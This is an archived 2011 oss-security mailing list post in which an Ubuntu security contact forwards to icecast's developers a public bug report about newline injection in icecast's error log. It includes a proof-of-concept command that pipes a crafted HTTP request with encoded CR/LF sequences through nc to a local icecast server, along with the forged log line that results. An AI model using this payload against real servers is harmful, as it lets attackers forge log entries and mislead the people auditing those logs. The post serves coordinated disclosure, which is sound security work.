[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 15 Dec 2011 12:25:40 -0600
From: Jamie Strandboge <jamie@...onical.com>
To: icecast-dev@...h.org
Cc: oss-security@...ts.openwall.com, security@...ntu.com,
security@...itz-naumann.com
Subject: Security issue in icecast
A security bug was reported by Moritz Naumann against icecast in
Ubuntu. You are being emailed as the upstream contact. Please keep
oss-security@...ts.openwall.com[1] CC'd for any updates on this issue.
This issue should be considered public and has not yet been assigned a
CVE.
Details from the public bug follow:
https://launchpad.net/bugs/894782
From the reporter:
"Newline injection in error.log
Running this command against an icecast2 running on 127.0.0.1...
echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
0a[1970-01-01%20%2000:00:00]%20PHUN%20I'm%20feeling%20phunny%0d%
0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
20fserve/fserve_client_create%20req%20for%20file%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 127.0.0.1 8000
> /dev/null
...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny
..."
Thanks in advance for your cooperation in coordinating a fix for this
issue.
[1] oss-security@...ts.openwall.com is a public mailing list for
people to collaborate on security vulnerabilities and coordinate
security updates.
--
Jamie Strandboge | http://www.canonical.com
Download attachment "signature.asc" of type "application/pgp-signature" (837 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
